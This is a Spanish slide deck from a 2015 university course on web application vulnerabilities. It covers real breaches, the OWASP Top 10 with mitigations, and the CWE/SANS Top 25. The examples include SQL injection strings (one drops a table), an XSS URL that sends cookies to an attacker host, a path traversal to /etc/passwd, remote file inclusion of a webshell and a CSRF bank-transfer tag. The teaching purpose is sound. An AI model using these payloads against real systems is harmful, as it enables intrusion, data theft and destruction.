Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

VULNERABILIDADES
DE SEGURIDAD
EN APLICACIONES WEB
Universidad de Deusto
Julio 2015
Ander Izquierdo

CONTENIDO
1. El problema
2. Casos reales de mala seguridad
3. Estadísticas, cifras, y datos para asustar
4. Proyecto OWASP Top 10
5. CWE/SANS Top 25 errores más peligrosos
6. Otras referencias sobre seguridad
7. Preguntas

EL PROBLEMA: Tecnologías Heredadas
• La web emplea tecnologías heredadas que
hoy en día se usan para fines diferentes a los
que fueron concebidas.
• Ejemplo: HTTP, un protocolo sin estado.
– Necesario utilizar mecanismos externos para
mantener el estado.
– No hay negociación de conexión ni mantenimiento
de sesión.
• El atacante sólo necesita enviar una petición de página
con las cabeceras apropiadas.

EL PROBLEMA: Responsabilidades
Como consecuencia:
1. La aplicación debe protegerse frente a intentos
de entrada de usuarios malintencionados.
2. La aplicación deben proteger a los usuarios
legítimos de los usuarios malintencionados.

EL PROBLEMA: Responsabilidades
El peso de la seguridad recae en el programador.
(Aunque en la práctica haya soluciones que nos ayuden).

EL PROBLEMA: Exceso de confianza
¿Confiar en el usuario? ¡Jamás!
• La validación JavaScript no sirve como
mecanismo de seguridad.
• Es necesario hacer validación en el servidor.
– Y hay que validarlo TODO.

• Es muy habitual que los programadores
confíen en:
– Valores transmitidos en cookies.
– Cabeceras HTTP.
– Campos en formularios:
• Desplegables
• Radio buttons
• Hidden fields

Un atacante puede:
• Manipular cualquier fragmento de información
transmitido:
– Parámetros
– Cookies
– Cabeceras
• Evitar fácilmente cualquier mecanismo de control
implementado en lado cliente.
• Enviar peticiones en cualquier orden, enviar
parámetros en diferente formato a lo esperado, o
no enviarlos.
– Cualquier suposición de uso que haga el desarrollador
puede ser violada.

Una entrada inesperada produce
un resultado impredecible.

2. CASOS REALES DE MALA SEGURIDAD
(y sus consecuencias)

CASOS REALES DE MALA SEGURIDAD
En 2011, Sony Network Entertainment sufrió
una filtración de datos.
Se comprometieron:
• Usuarios y contraseñas.
• Direcciones postales
• Direcciones de email válidas.
• No supieron determinar si se habían filtrado
datos de tarjetas de crédito.

Facebook:
• En 2008: se descubrió que era posible acceder
a fotografías privadas de millones de usuarios.
– El ID de las fotografías era predecible.
– En 2011 se descubrió un error similar.
• En 2010: se descubrió un procedimiento para
obtener datos confidenciales de un usuario a
partir de su email.
– Fue utilizado por spammers y scammers para
enviar correo basura y realizar estafas.

Tuenti:
• En mayo de 2009: se descubre vulnerabilidad
XSS en los tablones públicos que permite,
entre otras, robar la sesión del usuario.
• En agosto de 2009: se descubre vulnerabilidad
de inyección SQL en la versión móvil de la
web, permitiendo obtener datos
confidenciales de los usuarios (nombres
reales, teléfonos, emails, contraseñas en MD5,
etc).

Twitter:
• Numerosos problemas de XSS a lo largo de su
historia, todos fácilmente explotables.
• En mayo de 2012 se publicó en PasteBin una
relación de 55.000 usuarios y contraseñas.

LinkedIn:
• En junio de 2012: se publicaron más de
6 millones de contraseñas cifradas.
– Muchas fueron descifradas al momento gracias a
las tablas Rainbow.

Google tampoco se queda exento:
• En 2007: se descubre vulnerabilidad CSRF en
Gmail que permite acceder a los mensajes de la
víctima.
• En 2009: se publica un procedimiento llamado
Surf Jacking para el robo de la cookie de sesión a
pesar del SSL.
– Tardaron 3 meses en arreglarlo desde que fueron
avisados.
– Muchas webs de bancos españoles también eran
vulnerables.
• Mucho tiempo después, seguían siéndolo.

https://haveibeenpwned.com/

4. ESTADÍSTICAS, CIFRAS,
Y DATOS PARA ASUSTAR

ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
Aceptabilidad certificación Verafied en primera entrega.
(Veracode. State of Software Security Report Volume 3. 2011.)

Tiempo para alcanzar la aceptabilidad Verafied.

Presencia de alguna vulnerabilidad Top 10 OWASP en primera entrega.

Probabilidad de encontrar una vulnerabilidad

PROYECTO OWASP TOP 10
OWASP = Open Web Application Security Project
Proyecto de código abierto para determinar y
combatir las causas que hacen que el software sea
inseguro.
Enfoque de seguridad en todas sus dimensiones:
• Personas
• Procesos
• Tecnologías

OWASP Top 10:
• Establece una lista de debilidades ordenada
por riesgo, y no por número de apariciones.
• Es mundialmente referenciada en libros,
publicaciones, y organizaciones dedicadas a la
seguridad (MITRE, Veracode, etc).
• Publicada en 2003, 2004, 2007, 2010 y 2013.

¿Qué es un riesgo?
Un riesgo es cada una de las rutas que puede recorrer un atacante para hacerte daño.

Para valorar un riesgo debemos preguntarnos:
• ¿Es frecuente que ocurra?
• ¿Es fácil descubrirlo?
• ¿Es fácil explotarlo?
• ¿Cuál será el impacto técnico?
• ¿Cuál será el impacto en el negocio?

Tener una vulnerabilidad != Ser vulnerable

• A1 – Inyección
• A2 – Pérdida de autenticación y gestión de sesiones
• A3 – Secuencia de Comandos en Sitios Cruzados (XSS)
• A4 – Referencia Directa Insegura a Objetos
• A5 – Configuración de Seguridad Incorrecta
• A6 – Exposición de datos sensibles
• A7 – Ausencia de Control de Acceso a Funciones
• A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF)
• A9 – Utilización de componentes con vulnerabilidades
conocidas
• A10 – Redirecciones y reenvíos no validados

A1 – Inyección

PROYECTO OWASP TOP 10: A1 - Inyección
EL PROBLEMA
Construir comandos o consultas enviando al
intérprete datos no confiables sin filtrar.
En general, componer el String del comando o
consulta concatenando variables procedentes
del usuario sin control alguno.

EJEMPLO 1
$query = "SELECT id FROM usuarios
WHERE email='$email' AND password='$password'";
Supongamos que introducimos el siguiente valor en la caja "Correo":
cualquiercosa' OR 1=1 LIMIT 1;--
Lo que enviamos al intérprete sería:
SELECT id FROM usuarios
WHERE email='cualquiercosa' OR 1=1 LIMIT 1;
--' AND password=''

EJEMPLO 2
Si enviamos:
' OR id='1';--
Obtenemos:
WHERE email='' OR id='1';
--' AND password=''

EJEMPLO 3
Si enviamos:
' OR 1=1; DROP TABLE usuarios;--
Obtenemos:
WHERE email='' OR 1=1;
DROP TABLE usuarios;
--' AND password=''

RIESGOS
• Acceder a datos confidenciales
• Manipular información
• Suplantar identidad
• Vía de acceso a otro tipo de ataques (ej: XSS)

LA SOLUCIÓN
Solución principal: Usar una API parametrizada
Ejemplo: uso de PreparedStatement en Java
String query = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(query);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();

LA SOLUCIÓN
Solución alternativa: Filtrar caracteres especiales
Ejemplo: funciones de escape en PHP
$ciudad = $mysqli->real_escape_string($ciudad);

¡HAY QUE TRATAR TODOS LOS PARÁMETROS!
Incluidos los campos de tipo:
• Desplegables
• Radio buttons
• Ocultos
• Widgets de calendario
• En peticiones GET y POST

A2 – Pérdida de autenticación
y gestión de sesiones

PROYECTO OWASP TOP 10: A2 – Autenticación
EL PROBLEMA
Errores de implementación que permiten:
• Obtener hashes de contraseñas
• Obtener contraseñas en claro
• Manipular el token de la sesión
El objetivo: asumir la identidad de otros usuarios.
– Habitualmente la del administrador.

EL PROBLEMA
Errores habituales:
• No cifrar en BBDD las contraseñas.
• Se pueden adivinar o sobreescribir las
contraseñas a través de funciones débiles de
gestión de la sesión.
• Los IDs de sesión son expuestos en la URL.
• Los IDs de sesión son predecibles.
• Los IDs de sesión no cambian al hacer login
(ataques de fijación de la sesión).
• Los IDs de sesión no expiran al hacer logout.

EJEMPLO 1
IDs de sesión expuestos en la URL
http://www.tiendaguay.com/producto1?sessionid=4U1OU3OUA9FFMJMF

EJEMPLO 2
Ataque de fijación de la sesión
El problema:
• La aplicación crea una sesión anónima cuando el usuario accede por primera
vez.
• Cuando el usuario se identifica, se actualiza a una sesión autenticada sin
cambiar el token.
El Ataque:
• El atacante obtiene primero un token anónimo con una visita normal.
• El atacante usa algún engaño para fijar ese token en el navegador de la
víctima. (ej: sesión en URL, administradores de cookies…).
• Una vez que la víctima ha hecho login, el atacante también estará dentro.
En enero de 2015 se descubrió una vulnerabilidad de este tipo en Joomla 2.5

EJEMPLO 3
IDs de sesión no expiran al hacer logout
Permitirían un ataque de fijación de sesión
persistente.
• El usuario hace logout.
– El atacante pierde acceso.
• El usuario vuelve a hacer login.
– El atacante recupera el acceso sin hacer nada.

LA SOLUCIÓN
Revisar y cumplir con los requisitos definidos en
el Application Security Verification Standard
(ASVS) de OWASP, secciones V2 y V3.

LA SOLUCIÓN
Algunos puntos son:
• Comprobar que la sesión caduca al de cierto tiempo.
• Comprobar que la sesión caduca al hacer logout.
• Comprobar que las páginas que requieren autenticación no
son accesibles de forma anónima.
• Comprobar que la sesión cambia al autenticar.
• Aceptar sólo tokens de sesión generados por la aplicación.
• Comprobar que los flags de las cookies de sesión sean
correctos (httponly y desactivar método TRACE).
• Comprobar que la aplicación no permite acceso
concurrente con un mismo usuario desde dos orígenes
distintos.

A3 – Secuencia de Comandos
en Sitios Cruzados (XSS)

PROYECTO OWASP TOP 10: A3 – XSS
EL PROBLEMA
Mostrar en las páginas de salida datos introducidos
por el usuario sin filtrar.
Sin una correcta validación, la entrada será tratada
como contenido activo por el navegador.
Permite al atacante enviar contenido JavaScript,
ActiveX, Flash o Silverlight al navegador de la
víctima.

EL PROBLEMA
Hay dos tipos:
• Reflejado
– Suele ser un ataque dirigido.
• Persistente
– Afecta potencialmente a todos los usuarios.

EJEMPLO 1
XSS Reflejado
Ocurre cuando el atacante envía una URL a la
víctima con parámetros GET manipulados.
El código malicioso se incluye como valor del
parámetro manipulado.

EJEMPLO 1
XSS Reflejado
Comportamiento normal:

EJEMPLO 1
XSS Reflejado
Ataque:

EJEMPLO 2
XSS Persistente
Ataque:

EJEMPLO 3
Robo de sesión
El atacante realiza un ataque dirigido enviando a
la víctima la siguiente URL:
http://www.google.com/?q=gatitos<script>docu
ment.location='http://atacante.com/robar?ses
ion='+document.cookie</script>

PROYECTO OWASP TOP 10: A3 - XSS
RIESGOS
• Robo de sesiones y escalada de privilegios
• Obtención de información confidencial
• Denegación de servicio
• Cambio de configuración del usuario
• Acciones en nombre del usuario

EJEMPLOS REALES
• Twitter: Retweet automático de un mensaje
sólo con visualizarlo.
• Youtube: Redireccionar a páginas con malware
al visualizar un comentario.
• Facebook: Robo de cookies de sesión.

LA SOLUCIÓN
Filtrar y codificar la información de entrada antes
de usarla como salida en HTML.
• En general, sustituir los caracteres con significado
en HTML por entidades sin significado:
> se convierte en >
< se convierte en <
& se convierte en &
etc…

A4 – Referencia directa insegura a objetos

PROYECTO OWASP TOP 10: A4 – Referencias
EL PROBLEMA
Acceder a información en BBDD, objetos o
archivos sin comprobar que el usuario tenga
permisos sobre ellos.

EJEMPLO 1
Insuficiente control de acceso a referencias
http://victima.com/verfactura?fact=918433
El atacante prueba códigos aleatorios de
facturas para tratar de acceder a documentos de
otras personas.

EJEMPLO 2
Path Traversal
http://victima.com/verfactura?fact=918433.pdf
El atacante intenta llegar a recursos del sistema
a través del parámetro:
http://victima.com/verfactura?fact=../../../etc/passwd

EJEMPLO 3
Remote File Inclusion
http://victima.com/index.php?p=facturas.php
El código fuente de index.php contiene:
include( $_GET['p'] );
El atacante puede abrir una webshell en el servidor
de la víctima solicitando:
http://victima.com/index.php?p=http://atacante/webshell.txt

EJEMPLO 3
Remote File Inclusion
En PHP, las inclusiones tienen muuuuuucho peligro:
• include()
• require()
• include_once()
• require_once()

EJEMPLO 4
Remote File Inclusion (con extensión implícita)
http://victima.com/index.php?p=facturas
El código fuente de index.php contiene:
include( $_GET['p'] . '.php' );
En PHP, el byte NULL 0 corta el procesamiento del
string, ignorando el resto:
http://victima.com/index.php?p=http://atacante/webshell.txt%00

LA SOLUCIÓN
• Utilizar referencias indirectas:
– Ej: http://ejemplo.com/verfactura?fact=enero05
• Comprobar el acceso a todas las referencias
directas. Se debe asegurar que el usuario está
autorizado para acceder al objeto solicitado.
• ¡Mucho cuidado con las inclusiones!

A5 – Configuración de seguridad incorrecta

PROYECTO OWASP TOP 10: A5 – Configuración
EL PROBLEMA
• Software sin actualizar.
• Hay características innecesarias instaladas.
• Las cuentas de usuario y/o contraseñas por
defecto están sin cambiar.
• Los mensajes de error están en modo debug.

EJEMPLO 1
Software sin actualizar
La versión de PHP instalada en el sistema es
vulnerable a un ataque de buffer overflow que
permite la ejecución arbitraria de código.
(ejecución arbitraria de código = date por jodido)

EJEMPLO 2
Contraseñas por defecto (caso real)
Cientos de gasolineras en España permiten
acceder con contraseña por defecto al panel de
control de seguridad de las mismas.
El fallo permite, entre otras cosas, manipular el
sistema de alarmas de los tanques de
combustible.

EJEMPLO 3
Mensajes en modo debug

LA SOLUCIÓN
• Asegurar y configurar correctamente el
entorno.
• Eliminar el software no utilizado.
• Tener un plan de actualizaciones de software.
– Y llevarlo a cabo.

A6 – Exposición de datos sensibles

PROYECTO OWASP TOP 10: A6 – Datos Sensibles
EL PROBLEMA
• No cifrar en BBDD la información sensible.
• No utilizar SSL.
• Utilizar algún algoritmo criptográfico débil.
• Incorrecta rotación o mala gestión de claves
criptográficas.
• Ficheros subidos al servidor que no deberían
estar ahí.

EJEMPLO 1
Datos sensibles sin cifrar
Escenario: La aplicación almacena en BBDD las
contraseñas de los usuarios sin cifrar.
Un atacante consigue robar la tabla de usuarios
mediante una vulnerabilidad de inyección SQL, y
se lleva las contraseñas en claro.

EJEMPLO 2
Datos sensibles sin cifrar (otra vez)
Escenario: La aplicación almacena en BBDD las
contraseñas de los usuarios con un hash sin salt.
Un atacante consigue robar la tabla de usuarios
mediante una vulnerabilidad de inyección SQL.
Mediante tablas Rainbow consigue descifrar un
gran porcentaje de contraseñas en minutos.

EJEMPLO 3
Ficheros que no deberían estar ahí
• .DS_Store
• thumbs.db
• desktop.ini
• .svn
• .bashrc (y demás ocultos de la $HOME)
• *.java
• Etc…

PROYECTO OWASP TOP 10: A6 – Datos sensibles
LA SOLUCIÓN
• Cifra todos los datos sensibles que sean almacenados o
transmitidos.
– Utiliza hash con salt.
• No almacenes información de más.
• Utiliza algoritmos de cifrado fuerte.
– MD5 está desaconsejado desde 2004 por problemas de
colisiones.
• Deshabilita "autocompletar" en formularios que
contengan datos sensibles.
• Deshabilita el cacheado de páginas que contengan
datos sensibles.

A7 – Ausencia de control de acceso a funciones

PROYECTO OWASP TOP 10: A7 – Acceso
EL PROBLEMA
• La aplicación no controla adecuadamente el
acceso a las páginas privadas.
– ¿La interfaz de usuario muestra links hacia
funcionalidades no autorizadas?
– ¿Se comprueba la autorización en todas las
páginas y acciones de formularios?

EJEMPLO 1
El atacante envía una petición POST a un
formulario privado para intentar una escalada
de privilegios:
http://ejemplo.com/admin/createuser.php

LA SOLUCIÓN
• Diseñar cuidadosamente el sistema de control
de accesos.
– Debería ser fácilmente auditable y parametrizable.
• Realizar pruebas intensivas para garantizar la
calidad de la implementación.
– Hay que probar con usuarios no autenticados, y
con usuarios con permisos limitados.

A8 – Falsificación de Peticiones
en Sitios Cruzados (CSRF)

PROYECTO OWASP TOP 10: A8 – CSRF
EL PROBLEMA
Formularios que permiten a un atacante
falsificar peticiones en nombre de la víctima.

EL PROBLEMA
Cuando la víctima visita un sitio malicioso
controlado por el atacante, éste último puede:
• Publicar mensajes en nombre de la víctima.
• Transferir dinero.
• Enviar emails.
• Y en general, actuar sobre cualquier
formulario de los sitios web donde la víctima
mantenga sesión abierta.

EJEMPLO 1
La víctima deja abierta la sesión con su banco
online, y visita la web del atacante.
La web maliciosa contiene una imagen con la
siguiente definición:
<img src="https://mibanco.com/areaclientes/transferir?
cantidad=5000&cuentadestino=atacante"
width="0" height="0" />

EJEMPLO 1
Si la víctima está autenticada en su banco
online, las peticiones falsificadas incluirán
automáticamente la información de la sesión,
autorizando la operación.

EJEMPLO 2
Espionaje en cuentas de Gmail (2007)
1. El usuario inicia sesión en Gmail.
2. El usuario visita una página que contiene
código malicioso.
3. El usuario envía (sin saberlo) una petición a
Gmail, creando un filtro de correo para
redirigir todo el correo entrante al atacante.

LA SOLUCIÓN
1. Cuando el usuario solicita el formulario,
generar un token único no predecible, y
enviarlo en un campo oculto.
2. Cuando el usuario hace submit del
formulario, comprobar que el token devuelto
es el esperado.
– Rechazar la petición si no coincide, pertenece a
otro usuario, es vacío, o no está presente.

OTRAS SOLUCIONES
1. Utilizar CAPTCHAs.
2. Solicitar re-autenticación para ciertas
operaciones.

A9 – Uso de Componentes
con Vulnerabilidades Conocidas

PROYECTO OWASP TOP 10: A9 – Componentes
EL PROBLEMA
Utilizar plugins, librerías, frameworks, o
cualquier pieza de software con vulnerabilidades
conocidas.

EJEMPLO
Utilizar un plugin de Wordpress que permite
realizar un ataque XSS y compromete todo el
sitio web.

LA SOLUCIÓN
• Revisar la base de datos CVE de MITRE.
– Hay que hacer un inventario de todo el software,
plugins, frameworks, especificando las versiones
de cada uno de ellos, y comprobar si poseen
vulnerabilidades conocidas.
• Tener un plan de actualizaciones de software.
– Y llevarlo a cabo.

A10 – Redirecciones y Reenvíos
No Válidos

PROYECTO OWASP TOP 10: A10 – Redirecciones
EL PROBLEMA
Realizar redirecciones a otras partes de nuestra
web, aceptando el destino de la redirección
desde parámetro y sin filtrar.

EJEMPLO 1
Escenario:
Cuando un visitante intenta acceder a una parte
privada de nuestra web, se le envía al formulario
de login, especificando como parámetro la
página privada que quería ver.
El objetivo es enviarle a la página privada una
vez haya iniciado la sesión.

EJEMPLO 1
Comportamiento esperado:
El usuario pide:
http://ejemplo.com/foros/privado.php
El sistema redirige a:
http://ejemplo.com/foros/login.php?redirect=privado.php
Cuando el usuario se identifica, el sistema le redirige
automáticamente a la página que quería visitar.

EJEMPLO 1
Ataque:
El atacante compone y envía a la víctima la
siguiente URL:
http://ejemplo.com/foros/login?redirect=http://
sitiosuperhacker.com

EJEMPLO 2
Escenario:
Si el parámetro sólo llevara el nombre del
archivo y nuestro código concatenara la
extensión ".php", mitigaría el ataque…
¿Seguro?

EJEMPLO 2
Comportamiento esperado:
El usuario pide:
http://ejemplo.com/foros/privado.php
El sistema redirige a:
http://ejemplo.com/foros/login.php?redirect=privado
El destino final se calcula así:
$destino = $_GET['redirect'] . '.php';

EJEMPLO 2
Ataque:
En PHP, el byte NULL 0 corta el procesamiento del
string, ignorando el resto.
El atacante compone y envía a la víctima la
siguiente URL:
http://ejemplo.com/foros/login?redirect=http://sitio
superhacker.com%00

LA SOLUCIÓN
1. Evitar redirecciones siempre que se pueda.
2. No utilizar parámetros manipulables por el
usuario.
3. Si no queda más remedio:
1. Comprobar que el valor de destino sea válido y
autorizado.
2. Utilizar valores de mapeo, en lugar de la
dirección real de destino (o una porción de ésta).
3. Utilizar listas blancas.

5. CWE/SANS TOP 25 ERRORES
MÁS PELIGROSOS

CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
1. Improper Neutralization of Special Elements used in an SQL
Command ('SQL Injection')
2. Improper Neutralization of Special Elements used in an OS
Command ('OS Command Injection')
3. Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow')
4. Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
5. Missing Authentication for Critical Function
6. Missing Authorization
7. Use of Hard-coded Credentials
8. Missing Encryption of Sensitive Data
9. Unrestricted Upload of File with Dangerous Type
10. Reliance on Untrusted Inputs in a Security Decision
11. Execution with Unnecessary Privileges
12. Cross-Site Request Forgery (CSRF)

CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
13. Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')
14. Download of Code Without Integrity Check
15. Incorrect Authorization
16. Inclusion of Functionality from Untrusted Control Sphere
17. Incorrect Permission Assignment for Critical Resource
18. Use of Potentially Dangerous Function
19. Use of a Broken or Risky Cryptographic Algorithm
20. Incorrect Calculation of Buffer Size
21. Improper Restriction of Excessive Authentication Attempts
22. URL Redirection to Untrusted Site ('Open Redirect')
23. Uncontrolled Format String
24. Integer Overflow or Wraparound
25. Use of a One-Way Hash without a Salt

6. OTRAS REFERENCIAS DE SEGURIDAD

OTRAS REFERENCIAS DE SEGURIDAD
• Recursos OWASP:
– OWASP Application Security Verification Standard
– OWASP Backend Security Project
– OWASP PHP Security Project
– OWASP Secure Coding Practices
• Base de datos de debilidades CWE de MITRE.
• Base de datos de vulnerabilidades CVE de MITRE.
• Base de datos de vulnerabilidades de
SecurityFocus.
• Informes INCIBE (antes INTECO), dependiente del
Ministerio de Industria, Energía y Turismo.
• Informes de Veracode.

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

¿PREGUNTAS?
¡GRACIAS POR VUESTRA ATENCIÓN!
Ander Izquierdo
axelko@gmail.com

Competición de Seguridad Informática organizada por INCIBE para la
captación de nuevos talentos.
Hay varias temáticas:
• Ingeniería Inversa
• Exploiting
• Análisis Forense
• Vulnerabilidades Web
• Criptografía
¡Y empieza hoy!
Del 17 hasta el 26 de julio.

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

Recommended

Recommended

More Related Content

Recently uploaded

Recently uploaded (10)

Featured

Featured (20)

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web